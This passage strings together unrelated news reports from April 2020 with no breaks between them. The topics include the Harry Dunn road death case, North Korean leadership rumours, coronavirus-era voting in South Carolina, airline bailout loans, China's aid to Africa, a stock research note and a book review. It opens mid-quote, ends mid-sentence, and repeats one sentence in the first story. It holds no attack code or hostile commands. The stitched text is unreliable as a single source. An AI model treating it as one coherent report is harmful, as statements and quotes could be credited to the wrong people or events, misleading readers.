'We wish to support the family in that action and we have been working with the family's lawyers and the Crown Prosecution Service to identify documentation that can be released without prejudicing any criminal trial.' On Saturday Harry's parents pleaded with the head of the Armed Forces to set up a meeting with base chiefs after claims of 'three near misses' involving their staff. In a letter to General Sir Nick Carter, they wrote that the base could not 'practise splendid isolation' when it comes to safety. Since the crash which killed Harry, the county's police force has said it investigated two other incidents of Americans allegedly driving on the wrong side of the road. Last week, there were claims a third member of staff smashed into a fence in a nearby village after driving on the wrong side of the road. Prosecutors have said Mrs Sacoolas should be charged with causing death by dangerous driving but the US has rejected an extradition request. Last week, there were claims a third member of staff smashed into a fence in a nearby village after driving on the wrong side of the road. Pictured is a sign for RAF Croughton - near the site of Harry's crash A British security source, who had been in contact with counterparts in America, said: 'We're told she's aware it's cold comfort to Harry's family but she has had sleepless nights since this tragic accident.' Although Mrs Sacoolas has previously said she was 'terribly, terribly sorry for that tragic mistake', she has not met Harry's parents. The divorced couple went to the White House last October to raise the case with Donald Trump but he tried to ambush them into meeting Mrs Sacoolas by revealing she was in the next room. Mrs Charles, 45, of Charlton, Northamptonshire, and Mr Dunn, 50, of nearby Brackley, were stunned and refused to see her. The source told the Sunday Express: 'She is still desperate to tell them in person how sorry she is.' Any meeting would coincide with a trip to the UK later this year when Mrs Sacoolas is due to lecture at the Defence College of Intelligence in Bedfordshire. In February, it was revealed she had been a CIA agent but had not been on active duty while in the UK. Source: Xinhua| 2020-04-28 15:15:01|Editor: huaxia Video Player Close SHENYANG, April 28 (Xinhua) -- Live streaming has provided a lifeline to brick-and-motor bookstores while most people are trapped indoors and finding ways to kill time. "Few people visited bookstores during the coronavirus period, but we kept in touch with our readers on popular live-streaming platforms," said the couple Gao Ming and Sun Xiaodi who own a bookstore in Shenyang, northeast China's Liaoning Province. While retreating online to seek orders, the couple has seen immediate results with a spike in sales to offset the losses crippled by the epidemic. Apart from live-streaming, Gao said they also came up with fun ideas to spice up the reading experience. One of the popular choices is the "blind box of books." Inspired by the blind box toy, the book box leaves readers intrigued about what popular books they will receive. "The uncertainty of what books you will get is a thrill," said a customer. Best-selling books among young readers include those with unique designs, especially those that provide an "immersive reading experience," said Gao, adding that their procurement closely follows what books are in demand. A prime example is the interactive novel "S. Ship of Theseus," a popular book worldwide due to its unique way of unfolding a story. The book has also gained popularity in the Chinese market since its Chinese version was published. "With all the accessories that came along with the novel, it's more of a game than a paper book," said He Xinchen, a new reader of the book. While bookstores and authors strive to make reading more interesting, fast-paced life often leaves urbanites too busy to choose a good book to start. According to the latest survey by the Chinese Academy of Press and Publication, Chinese adults read an average of 4.65 print books in 2019, slightly lower than 4.67 in 2018. Fan Deng, a previous well-known TV host, can sense the potential in the new business of recommending books to busy office workers and "reading" the books to interested readers via a mobile application. Early in 2013, Fan began to share his book notes with fans and friends on a social media group noticing that people were increasingly squeezed for time to read. As his fan base grew, Fan quit his job and set up a book club to invite both ordinary readers and industry experts to share their reading experience. Fan's Spiritual Wealth Club now has 35 million members worldwide, mostly Chinese readers and overseas readers interested in Chinese culture. Fan said, "most club members are born in the 1980s and 1990s as they are more willing to pay for new knowledge and skills." Leisure reading can bring people with life-long benefits, Fan said. "If you are too busy to read, a simpler way to start might be to listen to an audio-book, so it's never a bad time to start." Enditem Fear of catching the coronavirus could have kept North Korean leader Kim Jong Un away from state ceremonies for a key holiday in mid-April, a South Korean minister said on Tuesday as speculation swirled over Kim's whereabouts and health. Under Kim, North Korea has expanded its arsenal of nuclear weapons and long-range ballistic missiles, and with no obvious successor, any change in leadership in the authoritarian country would raise concerns about instability that could impact other North Asian countries and the United States. The speculation about Kim's health erupted after his unprecedented absence from ceremonies marking the April 15 birth anniversary of his grandfather and founder of the country, Kim Il Sung. South Korea's Unification Minister Kim Yeon-chul, who oversees engagement with the North, said it was plausible that Kim decided against attending because of the coronavirus, given the stringent steps his government has taken to head off an outbreak. "It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns," the unification minister told a parliamentary hearing. "I dont think thats particularly unusual given the current (coronavirus) situation," the minister said, though North Korea has said it has no confirmed cases of the coronavirus. The South Korean minister noted that there were at least two instances since mid-January when Kim Jong Un had been unsighted for nearly 20 days. The last time official media in the secretive North Korean state reported on Kim's whereabouts was when he presided over a meeting on April 11, but there have been near-daily reports of him sending letters and diplomatic messages. South Korean officials emphasise they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. The unification minister described reports that Kim had undergone a heart procedure, and that a Chinese medical team had travelled to North Korea, as "fake news." Citing three people familiar with the situation, Reuters reported on Saturday that China had dispatched a team to North Korea including medical experts to advise on Kim Jong Un, though it was unclear what the trip signalled in terms of Kim's health. U.S. President Donald Trump said on Monday he has a good idea how Kim Jong Un is doing and hopes he is fine, but would not elaborate. Japanese Prime Minister Shinzo Abe said he was aware of reports on Kim's health and he was paying close attention to developments. TRAIN WATCHING North Korea had cancelled some large events, and imposed a border lockdown and quarantine measures in an effort to prevent an outbreak of the coronavirus. But if Kim Jong Un is hiding out due to fears surrounding COVID-19, it would "puncture a hole in the state media narrative of how this crisis has been perfectly managed", said Chad O'Carroll, CEO of Korea Risk Group, which monitors North Korea. "If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim," he said. An authoritative source familiar with U.S. intelligence reporting said on Monday it was entirely possible Kim had disappeared from public view to avoid exposure to COVID-19 and the sighting of his presidential train in the coastal resort area of Wonsan did suggest he may be there or have been there recently. But the source said that since there was no authoritative backing for such a conclusion, U.S. agencies were also still considering the possibility Kim might be ill, even seriously. 38 North, a Washington-based North Korea monitoring project, said on Saturday that satellite images from last week showed a special train that was probably Kim's at Wonsan, lending weight to reports he had been spending time in the resort area. Thae Yong-ho, a former North Korean diplomat who defected to South Korea in 2016, said that the train could be a deception tactic used by North Korea to mask Kim's movements. "North Korea always perceives that U.S. spy satellites are monitoring the North and is prepared for it," he said in a post on Facebook. Early voting in all 46 South Carolina county election offices begins statewide Monday for the June 9 Republican and Democratic primaries, with officials suggesting you'd be safer casting a ballot by mail if you can. Otherwise, one precaution being pitched for in-person voting is to bring your own sanitized pen to sign in with. Cotton swabs will be available to make your screen picks. And don't be surprised if poll workers greet you wearing face masks and gloves. Election contacts Call your local election office in the tri-county area for more information: Charleston County: 843-744-8683 Berkeley County: 843-719-4056 Dorchester County: 843-563-0132 With no plans to delay party primary voting on account of the COVID-19 pandemic, state election offices are planning to open for early, or more formally absentee, voting on Monday amid the uncertainty of what conditions will be in a month. It's too early to predict turnout estimates, but a Republican primary for U.S. Sen. Lindsey Graham's seat and a four-way race to pick a GOP nominee to face Charleston Democrat U.S. Rep. Joe Cunningham should be significant draws. Some of the legal qualifications to vote absentee include: being age 65 or older, having a disability that includes illness and injury, attending a sick or disabled person, being on vacation or having work responsibilities. Voting by mail is an option as well and is something Gov. Henry McMaster who is not up for re-election this year has broached in his coronavirus response. "There are a lot of reasons why people can vote absentee and I would suggest one of them is if youre over 65 years old Id suggest if you dont want to go to the polls, go ahead and get your ballot ready, he said this week. Quarantine or stay-at-home orders are not on the list of reasons listed to legally vote absentee. No, it is not on that list," McMaster added. "Disability is on the list. There are a lot of things that are on the list. There are a lot of reasons why someone can vote without going to the polls. To vote by mail, an application for an absentee ballot can be requested from your local county elections office either online, by phone, fax, mail or email. Go to the state Election Commission website at scvotes.org/absentee-voting for more details on local contact information. The process involves first making the application, which is to request that a ballot be mailed to your home. Once you fill out your received ballot, you return it to your local elections office. Chris Whitmire, spokesman for the state Election Commission, said voters should "prepare now to exercise their right to vote by choosing the best option for them." If you do choose to vote in person, poll managers will be receiving special COVID-19 training that includes social distancing, maintaining sanitary conditions in the polling place and limiting the number of people who can be inside election offices at one time. Efforts will include masks, face shields and gloves for poll managers; sneeze guards for check-in stations; sanitizing wipes for cleaning common surfaces; and hand sanitizer for voters and poll managers. Cotton swabs will be used for making selections on voting machine touchscreens. Most of the supplies have arrived in local offices, with sanitizers and wipes to come later, Whitmire said. Sneeze guards will come, as well. Voters can't be forced to wear face masks, but Whitmire suggested it would be a safe practice. The cost for the protection supplies being sent to voting offices was pegged at $650,000, with the money coming from the federal government coronavirus response CARES Act. Seanna Adcox contributed to this report. ARLINGTON, Va.--To support the national response to the coronavirus (COVID-19) pandemic, the Department of the Navy (DoN) must leverage and sustain its research-and-development industrial base--and attract new small business partners. The Navy and Marine Corps are doing so by harnessing the DoN's agile Small Business Innovation Research (SBIR) and Small Business Technology Transfer (STTR) programs--both located at the Office of Naval Research (ONR). The programs announced today $30 million in rapid-funding opportunities through a new Broad Agency Announcement (BAA), which is a request for scientific or research proposals. The BAA can be viewed at https://www.navysbir.com/. "During this national emergency, the Naval Research Enterprise must engage all activities to ensure we accomplish our current workload, make sure vital naval partners survive current economic conditions, and bring in new partners," said DoN SBIR/STTR Director Bob Smith. "I'm proud the DoN SBIR/STTR programs are taking bold steps to maintain the defense industrial base through accelerated funding awards." The new BAA, titled DoN SBIR FY20.4, will close on May 28. It seeks proposals from innovative small businesses and startups for high-impact, scalable technologies that address both naval requirements and the needs of the commercial market. Areas of interest to the Navy and Marine Corps include: Modernization and sustainment (maintenance and repair of military assets) Digital logistics (security, analysis, management and flow of digital information and data) Deployable manufacturability (rapid, on-demand manufacturing of deployable systems supporting diverse payloads and missions) Resilient communications (expanded communications capabilities for fast, coordinated response during a global crisis) BAA FY20.4 is just one facet of a broader DoN SBIR/STTR effort to sustain the defense industrial base during the COVID-19 response, by awarding more than $250 million in funding over the next 90 days. SBIR provides the Navy and Marine Corps with innovative advances in technology created by small businesses--while STTR transitions products developed by both small businesses and research institutions. Navy SBIR/STTR and NavalX In addition to promoting BAAs like FY20.4, the DoN SBIR/STTR programs also look to strengthen new approaches, like serving as technology enablers for the Naval Expeditions (NavalX) Agility Office--created by the Hon. James Geurts, assistant secretary of the Navy for Research, Development and Acquisition. NavalX gives Sailors, Marines and DoN civilians tools to put good ideas into action. This enables naval organizations like ONR and SBIR/STTR to better connect warfighters with experts and small businesses. SBIR/STTR also provides expertise at NavalX's multiple Tech Bridge locations nationwide. A partnership between ONR, NavalX, the Navy's Technology Transfer Program Office, and all naval systems commands, Tech Bridges are regional innovation hubs where warfare centers, government, academia and industry can team up and work together on technology research, evaluation and commercialization--as well as economic and workforce development. ### Learn more about the DoN SBIR/STTR programs and BAA FY20.4 at https://www.navysbir.com/. World Trump Faults China for Coronavirus Spread, Says US Investigating US President Donald Trump arrives for a coronavirus response news conference in the Rose Garden at the White House in Washington on April 27, 2020. / REUTERS WASHINGTONUS President Donald Trump said on Monday that China could have stopped the coronavirus before it swept the globe and said his administration was conducting serious investigations into what happened. Were doing very serious investigations We are not happy with China, Trump said at a White House news conference. There are a lot of ways you can hold them accountable. We believe it could have been stopped at the source. It could have been stopped quickly and it wouldnt have spread all over the world. Trumps criticism was the latest from his administration to target Chinas handling of the coronavirus outbreak, which began late last year in the Chinese city of Wuhan and has grown into a global pandemic. Last week, Secretary of State Mike Pompeo said the US strongly believed Beijing failed to report the outbreak in a timely manner and covered up how dangerous the respiratory illness caused by the virus was. Chinese Foreign Ministry spokeswoman Hua Chunying said on Twitter on Monday that Pompeo should stop playing the political game. Better save energy on saving lives. The coronavirus outbreak has killed more than 207,000 people around the world, including more than 55,000 in the US, according to a Reuters tally. Earlier on Monday, White House trade adviser Peter Navarro accused China of sending low-quality and even counterfeit coronavirus antibody testing kits to the US and of profiteering from the pandemic. Navarro, an outspoken critic of Beijing whom Trump has appointed to work on supply-line issues relating to the health crisis, said more testing both for the virus and antibodies was vital to getting Americans currently in lockdown back to work. Thats where, perhaps, we can find people who are immune, that can be in the workplace in a more safe environment. But we cant have China, for example, bringing in those fake tests and counterfeit tests, because thats going to be very disruptive, Navarro said in an interview on Fox News. Theres a lot of these antibody tests coming in from China now that are low quality, false readings and things like that, he said. The US is heavily reliant on China for basic equipment and drugs. You may also like these stories: China, US Have Wisdom to Resolve Trade Dispute, Says Beijings Top Diplomat Chinese State Newspaper Blasts US Uighur Bill, Calls for Reprisals China Reports Second Consecutive Day of No New Local Coronavirus Transmissions, Imported Cases Rise Police officers wearing facemasks patrol on a street in Beijing on April 7, 2020. (Nicolas Asfouri/AFP via Getty Images) Human Rights Group: Beijing Must Release Activists and Citizen Journalists Punished for Sharing Virus Information Human Rights Watch (HRW), a U.S.-based nonprofit, is calling on Chinese authorities to free three activists and two citizen journalists who were detained for disseminating information about the CCP virus outbreak in China. While Beijing is ramping up its global propaganda extolling its success in containing Covid-19, it is also forcibly disappearing those independently reporting on the pandemic, said Wang Yaqiu, China researcher at HRW, according to a statement published on April 27. Wang added: So much about the coronavirus in China will never become known because the Chinese government has muzzled those trying to share critical information. HRW said Chinese authorities should immediately and unconditionally release Chen Mei, Cai Wei, and Cais partner, a woman surnamed Tang. Chen and Cai are volunteers with a project called Terminus2049, a crowd-sourced project that archives censored materials from Chinese media outlets and social media on the open-source coding platform Github, which is not restricted by Chinas Great Firewall. In recent months, Chen and Cai have posted news articles, interviews, and personal accounts related to the outbreak of the CCP virus, commonly known as the novel coronavirus, on the coding platform, according to HRW. The three were arrested in Beijing on April 19, with Cai and Tang being accused of picking quarrels and provoking troublea catch-all charge that Chinese authorities often use against dissidents. According to HRW, Cai and Tang were then placed under residential surveillance in a designated location, a form of enforced disappearance in which police can hold individuals in undisclosed locations for up to six months. Chens brother, Chen Kun, told Reuters earlier on Monday that his brother was cooperating with an investigation. Access to Terminus 2049s page was blocked in mainland China after the three were detained, the rights group stated. In 2015, Github was briefly taken offline after a cyberattack, which later was traced back to state-owned telecoms company China Unicom, NPR reported, citing research by cybersecurity consulting firm Errata Security. At the time, Github was developing anti-censorship software designed to circumvent censors in China. HRW is also calling for the release of two citizen journalists who had been documenting the epidemic in the central city of Wuhan, where the virus first broke out. Chen Qiushi, a 34-year-old lawyer-turned-citizen-journalist, arrived in Wuhan on Jan. 24. He subsequently published more than 100 posts on his YouTube and Twitter accounts. His mother said he had gone missing on Feb. 7. Fang Bin, a 47-year-old Wuhan clothing salesman, had shared videos taken at hospitals in Wuhan, and was taken from his home by local police on Feb. 10. The two have not been heard from since and are considered to be forcibly disappeared, HRW stated. Another citizen journalist reporting from Wuhan, Li Zuhua, resurfaced in April after he had gone missing for nearly two months. In a YouTube video, Li explained that he had been forcibly quarantined. Recently, U.S. Rep. Jim Banks (R-Ind.) sent a letter to the U.S. State Department, requesting it to investigate the disappearance of the three citizen journalists, according to an April 1 press release. Banks said: The United States should apply diplomatic pressure on the Chinese government to learn these journalists whereabouts and ensure their safety. Wang from HRW said the lack of free flow of information about Covid-19 in China has contributed to a global pandemic. Reporters Without Borders (RSF), which recently ranked China 177th out of 180 in its 2020 World Press Freedom Index, stated in March that the current pandemic could possibly be avoided if Chinese authorities had not censored vital information during the early days of the crisis. Beijing muffled eight doctors, among them ophthalmologist Li Wenliang, when they took to Chinese social media to warn people about a new form of pneumonia spreading in Wuhan in late December. Wang concluded: Governments around the world should press Beijing to release the wrongfully detained activists and citizen journalists immediately. Lenders worldwide have pledged more than $31 billion of loans to major airlines scrabbling to line up funding as the coronavirus pandemic forces them to ground their fleets. Companies from the Americas account for bulk of the borrowings with almost $20 billion in total, according to data collated by Bloomberg. In the dash to secure financing, airlines have either been drawing down from on existing credit lines or taking on new loans. The pandemic poses an unprecedented challenge to aviation and tourism with airports around the world shuttered by governments seeking to stem the spread of the virus. The response from airlines has been a stampede to borrow from governments and banks. As well as the loans to U.S. carriers, European airlines have raised 6.83 billion euros ($7.4 billion) since March 9, while Asian firms have lined up $4.1 billion. The International Air Transport Association has repeatedly warned the health crisis could bankrupt half the worlds airlines, pushing countries such as France and the Netherlands to prepare state bailouts. Air France-KLM, the largest borrower from the sector, got a 4 billion-euro loan from six banks with the French state guaranteeing to up to 90%. In addition, the airline arranged a 3 billion-euro loan from the government, which is a direct shareholder. The company had previously drawn down on an existing 1.1 billion-euro credit line. The U.K.s EasyJet Plc also raised 600 million pounds ($744 million) from the governments Covid Corporate Finance Facility in addition to a roughly 400 million-pound bank loan. The carrier has also drawn down on an existing $500 million revolving facility. In Asia, borrowers have been tapping funds from domestic lenders. Bank of Taiwan provided NT$20 billion ($666 million) of direct loans each to China Airlines Ltd. and Eva Airways Corp., while Singapore Airlines Ltd. arranged a S$4 billion ($2.8 billion) loan with DBS Bank Ltd. Meanwhile, at least $5 billion of deals are still in the pipeline, including loans for Emirates Airline, Japans ANA Holdings and Iberia, the Spanish unit of British Airways owner IAG SA. Below is a table of some of the largest borrowers from the sector. Click here for full list of drawdowns and new loans by companies in Americas, and click here for Europe and Asia. 2020 Bloomberg L.P. (This story has been published from a wire agency without modifications to the text) Follow more stories on Facebook and Twitter (Bloomberg Opinion) -- China has plenty to gain from lending a hand to its friends battling the coronavirus in Africa. Contrary to some perceptions, that won't mean opportunistic grabs in oil, copper or arable land. The biggest prize for Beijing is political capital. Sub-Saharan Africa faces its first recession in 25 years, and the continent as a whole is also grappling with the oil price crash and weakened currencies that have devastated state budgets. As a result of the Ebola outbreak that began in 2014, nations are better prepared than before. Still, health services are sorely inadequate, built around global financing and donor interests rather than coherent domestic policy, says Osman Dar, medical consultant and project director with Chatham Houses Global Health Programme. Barely a fifth of countries in Africa have free, universal care. The Central African Republic had three ventilators for a population of 5 million before the crisis; a handful of nations had none. China is Africas largest trading partner and creditor, and Beijing moved swiftly to provide aid as the virus spread. It delivered tests, protective equipment and ventilators, assisted by the foundation of Alibaba Group Holding Ltd. co-founder Jack Ma. More remarkably, China endorsed a temporary freeze on debt payments agreed upon by the Group of 20 economies unusual for a country that tends to prefer bilateral efforts. The scale and breadth of the current shock may have played a part in that decision, according to Lauren Johnston of the China Institute at SOAS University of London. The soft-power push hasnt gone smoothly. Parts of the continents civil society are still seething after videos circulated on social media this month showing discrimination against Africans in the southern Chinese city of Guangzhou. They have been forcibly tested, barred from restaurants and even evicted from homes, causing public outrage back home. The heavy-handed measures to tackle a cluster of coronavirus cases in Guangzhou, which has a significant population of African traders and students, fed an underlying distrust and risked undoing the gains of mask diplomacy. Story continues Beijing can still take advantage and obtain what matters to China: political allies in the United Nations, where Africa accounts for more than a quarter of member states, and clout that in turn influences its relations with great powers. Efforts have already paid off relative to far more expensive gambits, like its rapprochement with Pakistan. Given the pandemic, collapsing oil, a disinterested U.S. and a distracted Europe, it can do so more cheaply than ever. To be clear, mineral riches and mercantile interests do matter. Chinas companies are eyeing a young, growing population of 1.3 billion consumers. Shenzhen Transsion Holdings Co., a mobile-phone maker focused on Africa, priced its 2019 initial public offering in Shanghai at a price-earnings valuation twice that of Apple Inc. Telecom equipment maker Huawei Technologies Co. does brisk business there. Even so, Africa represents less than 5% of Beijings $4 trillion of annual global trade. The real great game is about securing a Chinese candidate at the head of the Food and Agriculture Organization; getting a friendly one at the World Health Organization; and landing the countrys first overseas military base. Considering more countries attended President Xi Jinpings 2018 African summit than the UN General Assembly held a few weeks later, theres plenty to build on. What happens next will center on debt. Chinas government, banks and contractors extended more than $150 billion to Africas governments and state-owned enterprises between 2010 and 2018, according to the China Africa Research Initiative at Johns Hopkins University. Angola alone accounted for almost a third of that, CARIs Deborah Brautigam wrote recently. China forgives plenty of African loans, though usually small amounts. Relief is generally accompanied by more credit. It prefers to renegotiate, and will probably do so here. There wont be a splurge. Chinese overseas loan-making plateaued or even dipped of late, and theres little to suggest that caution will ease, even if state support for China Development Bank and Export-Import Bank of China means there is room for more. Importantly, land grabs wont be part of the equation. China has in the past used credit to get production rights, say, in Angola. But there is no substantial evidence, either in lending reviewed by CARI or in research done by Rhodium Group, that the country seizes strategic assets from debtors. Sri Lankas precarious levels of debt, which ultimately led to the concession of a strategic port, had deeper roots than Chinas loans. Take Zambia, currently battling Western miners and struggling with debt. The government may want a quick debt-for-equity fix, but its unclear Beijing would be so keen. Why trade a small economic gain for political ignominy? Even Chinas commodity-backed loans have rarely been easy to act on. Finally, negotiations wont be easy. Despite talk that China is engaging in debt-trap diplomacy from U.S. Vice President Mike Pence and others, borrowers can and do push back, especially when new governments come in. Malaysia did in 2018, and the public anger of African ministers over Guangzhou points to similar agency. Timing is more complicated. Africa needs cash, but big-bang assistance packages may have to wait. Beijing attributes huge importance to its African summit, the Forum on China-Africa Cooperation, due to be held next year in Dakar. At the 2018 edition, China announced $60 billion of aid and loans to great fanfare. There are plenty of unknowns, not least around how Chinas own faltering economy and domestic sentiment will affect its ability to lend. The UN has called for $200 billion for health assistance and economic help for Africa a fraction of what the G-20 countries and China will spend at home. Aid could pay rich dividends. A friend in need, after all, is a friend indeed. This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Clara Ferreira Marques is a Bloomberg Opinion columnist covering commodities and environmental, social and governance issues. Previously, she was an associate editor for Reuters Breakingviews, and editor and correspondent for Reuters in Singapore, India, the U.K., Italy and Russia. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. A policeman was injured when some locals allegedly threw stones at the security personnel who were trying to enforce lockdown in an area of Gujarat's Surat city on Tuesday morning, an official said. Five persons were detained for the attack on the policemen, Surat's Deputy Commissioner of Police R P Barot said. Some locals got angry after a PCR (police control room) van reached a locality in Dindoli area to enforce the lockdown in the wake of the coronavirus outbreak, he said. "We a sent a PCR van in the area after coming to know that people were roaming around and not adhering to the lockdown norms. When the police asked locals to stay indoors, some of them got angry and started throwing stones at the policemen," Barot said. A police personnel received injuries in the incident, he said. Five locals were detained, he said, adding that additional force was sent to the area and the situation was brought under control. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) On Apr 24, we issued an updated research report on Quest Diagnostics, Inc. DGX. As part of its two-point strategy, Quest Diagnostics has been focusing on areas with high potential. However, the ongoing COVID-19 led economic crisis remains a major cause of concern for this Zacks Rank #3 (Hold) company. Shares of Quest Diagnostics have outperformed its industry in the past year. The stock has gained 5.1% as against a 0.2% decline of the industry. Quest Diagnostics reported better-than-expected first-quarter 2020 figures. The company noted that it was off to a strong start in January and February, the period when coronavirus impact was not significant in the United States. Quest Diagnostics Incorporated Price Quest Diagnostics Incorporated Price Quest Diagnostics Incorporated price | Quest Diagnostics Incorporated Quote In the first two months of the year, total revenues grew more than 6%. After adjusting for the calendar benefit and favorable weather in the first two months of the year, organic volume grew more than 4%. Although the overall year-over-year decline in adjusted earnings and revenues was concerning, this was totally induced by the coronavirus-led market debacle. Meanwhile, the company newly launched COVID-19 tests have already started to significantly add to its Diagnostic information Services business. In this regard, the company noted that it has performed nearly one million molecular tests, which is approximately a quarter of all testing done in the United States. It has also begun to perform blood-based antibody testing. Quest Diagnostics is currently refocusing on diagnostic information services wing and disciplined capital deployment. Its acquisitions and collaborations with hospitals and integrated delivery networks consistently act as major catalysts. Recently, the company announced the acquisition of Boston Clinical Laboratories, a small regional laboratory in Massachusetts. Two other recently announced acquisitions are Blueprint Genetics (to strengthen position in advanced diagnostics) and a multifaceted long-term collaboration with the Memorial Hermann Health System. Quest Diagnostics has also signed a professional laboratory services agreement with an eight-hospital health system in Tennessee. Story continues On the flip side, the year-over-year decline in adjusted earnings as well as revenues is concerning. In March, the company experienced a significant decline in testing volumes since the COVID-19 took the shape of pandemic and social distancing and shelter-in-place measures were instituted to combat the outbreak. During the last two weeks of March, volumes declined over 40%, including COVID-19 testing. In fact, in April, volume declines continued to intensify, bottoming out at around 50% to 60%. This apart, Quest Diagnostics is apprehensive about dealing with massive reimbursement pressure, which may get partially offset by steady execution of the Invigorate program. Stocks to Consider Some better-ranked stocks from the broader medical space include ResMed Inc. RMD, Merit AngioDynamics, Inc. ANGO and DexCom, Inc. DXCM, each currently carrying a Zacks Rank #2 (Buy). You can seethe complete list of todays Zacks #1 Rank (Strong Buy) stocks here. ResMed has an estimated long-term earnings growth rate of 14.4%. AngioDynamics has a long-term historical earnings growth rate of 10.4%. DexCom has a projected long-term earnings growth rate of 36.7%. Just Released: Zacks 7 Best Stocks for Today Experts extracted 7 stocks from the list of 220 Zacks Rank #1 Strong Buys that has beaten the market more than 2X over with a stunning average gain of +24.1% per year. These 7 were selected because of their superior potential for immediate breakout. See these time-sensitive tickers now >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report AngioDynamics, Inc. (ANGO) : Free Stock Analysis Report Quest Diagnostics Incorporated (DGX) : Free Stock Analysis Report DexCom, Inc. (DXCM) : Free Stock Analysis Report ResMed Inc. (RMD) : Free Stock Analysis Report To read this article on Zacks.com click here. Foreign aid chiefs have been told to improve how they manage the 4.2billion spent boosting gender equality. Better assessment is needed of how projects to improve the lives of women and girls overseas are progressing, the Governments spending watchdog warned. The National Audit Office (NAO) praised Britains ambitious plan to promote education, challenge child marriage and end female genital mutilation. Yegna, Ethiopia's answer to the Spice Girls, received around 9.2million altogether from the British government, before the initiative was halted early But in a report, it urged the Department for International Development (DfID) to improve how its vision was implemented if it is to achieve its intended impact. The department estimates at least 4.2billion of the 14.6billion spent on foreign aid in 2018 went on bilateral programmes that targeted gender equality as a policy objective. But the NAO said this was probably wrong because the department did not have an accurate grasp of which projects had a gender equality focus and how much it spends on them. It found a third of schemes were wrongly classified. The watchdog also said: According to DfID, tackling social norms, such as negative attitudes within communities to girls attending school, will have the most long-term impact on tackling gender equality. But it has recognised that it does not do enough of this. Schemes funded by DfID include 500million to give 1.5million girls access to education. In Nepal, 29.5million has gone on skills training to help women work, while in Ethiopia there is a 90million project to boost access to contraception. Previous spending on gender equality included 4million for Yegna, Ethiopias version of the Spice Girls, as part of a programme to empower women. A further 5.2million went to the all-girl pop group in 2015 for an initiative expected to run until at least 2018, but this was halted a year early. Last year, the foreign aid budget soared by 623million to a record 15.2billion. NAO chief Gareth Davies said: Two years into the departments 12-year vision, interventions are already improving the lives of women and girls. However, if DfID is to achieve its ambitious aims, it needs to develop a clearer long-term plan for implementing its vision and continue to improve the accuracy and transparency of its performance information. Sarah Champion, chairman of the Commons international development committee, says taxpayers know the value of gender equality Sarah Champion, chairman of the Commons international development committee, added: Taxpayers know the value of gender equality it is both morally and economically right. DfID must show their money is being well spent. Meg Hillier, chairman of the Commons public accounts committee, said: Good intentions are not enough. DfID hasnt set milestones to check if it is on the right track. It doesnt even have accurate information about which projects are reducing gender inequality. A DfID spokesman said: Our evidence -based approach allows us to quickly respond to constantly changing global challenges so we can direct our life-saving support to wherever it is needed most. THIS IS ALL I GOT A New Mothers Search for Home By Lauren Sandler I confess that reading about the travails of a homeless person amid all the current suffering held little appeal, but I actually found solace in the story of Camila, a pseudonym Lauren Sandler uses for the central character of her riveting new book, This Is All I Got. Camila is a wildly impulsive, profoundly smart, deeply savvy and stunningly beautiful 22-year-old Dominican. Shes also without a place to live. And as Matthew Desmond, the Pulitzer Prize-winning author of Evicted, once told an interviewer, Without stable shelter, everything else falls apart. So it does for Camila except that she holds on with a tenacious grip, to find some normalcy and to imagine an abundant future, both for herself and for her young son. Sandler, the author of two previous books (One and Only, Righteous), first met Camila at a shelter in Brooklyn in 2015 where Sandler volunteered. Camila, who it becomes clear works hard to present herself as someone in control, is dressed in a fresh white blouse and a pair of twill short-shorts, a baby-blue purse resting on her lap. Sandler writes that she sensed her mind revving, her thoughts lurching forward as she composed herself. From that first meeting, I sensed that she was a woman who was hellbent on propelling herself out of this shelter, away from the circumstances of her past, toward something solid, ambitious. And as I came to experience her, within and beyond her story, one thing was clear to me: If Camila couldnt use her wits and persistence to make the system work for her, no one could. Its one of many things that make Camila so appealing. She doesnt take kindly to authority, especially when someone disrespects her. When she meets a bureaucrat, she arrives well armed. She carries her birth certificate in her backpack in case she ever needs to prove she is who she says she is. She records conversations and takes detailed notes. The encounters are maddening. To call them Kafkaesque wouldnt do them justice. For rental assistance, Camila needs to make five separate trips to a job center, sometimes with waits of up to three hours. Once, she sits down on a plastic chair in the waiting room to find a puddle of urine beneath her and she has to decide whether to go to the bathroom or risk losing her place in line. We learn that in order to get marked as high priority for a unit in public housing, which has over a quarter of a million names on the wait-list, you need to have been a victim of domestic violence. So at a shelter when a woman purposefully bumps Camila, she calls 911 and insists that the police consider it a case of domestic abuse and that they write up a restraining order. Even at her young age, shes learned not to take constant humiliation personally, but rather shrugs, thinking to herself: Maybe it just wasnt meant to be. A retired air force vice-marshal will be installed as the nation's first freight controller as the Morrison government bids to ensure food and critical medical supplies keep moving. Former air vice-marshal Margaret Staib will take on the role, Deputy Prime Minister Michael McCormack told the Sydney Morning Herald and The Age, as the government grapples with low numbers of commercial flights that have traditionally brought in much of that cargo. Australia's first freight controller will make sure the movement of critical medical supplies continues during the coronavirus pandemic. Credit:Kate Geraghty "The COVID-19 crisis has reduced airfreight capacity and disrupted supply chains around the world," Mr McCormack said. "More than 80 per cent of airfreight is usually transported in passenger aircraft and given the drastic reduction in those flights, we are acting to safeguard our airfreight capacity." There were just two commercial flights into Sydney Airport on Tuesday, from Singapore and Doha. TORONTO - Aleafia Health Inc. says former Ontario Provincial Police commissioner and federal cabinet minister Julian Fantino is resigning from the company's board. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. Associate Minister of Defence Julian Fantino waves as he leaves Rideau Hall in Ottawa on Monday, Jan. 5, 2015. Aleafia Health Inc. says former Ontario Provincial Police commissioner and federal cabinet minister Julian Fantino is resigning from the company's board. THE CANADIAN PRESS/Sean Kilpatrick TORONTO - Aleafia Health Inc. says former Ontario Provincial Police commissioner and federal cabinet minister Julian Fantino is resigning from the company's board. The Toronto-based medical cannabis company says former RCMP deputy commissioner Raf Souccar is also departing. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. A release from the company did not offer any explanation for the resignations, but says they are effective May 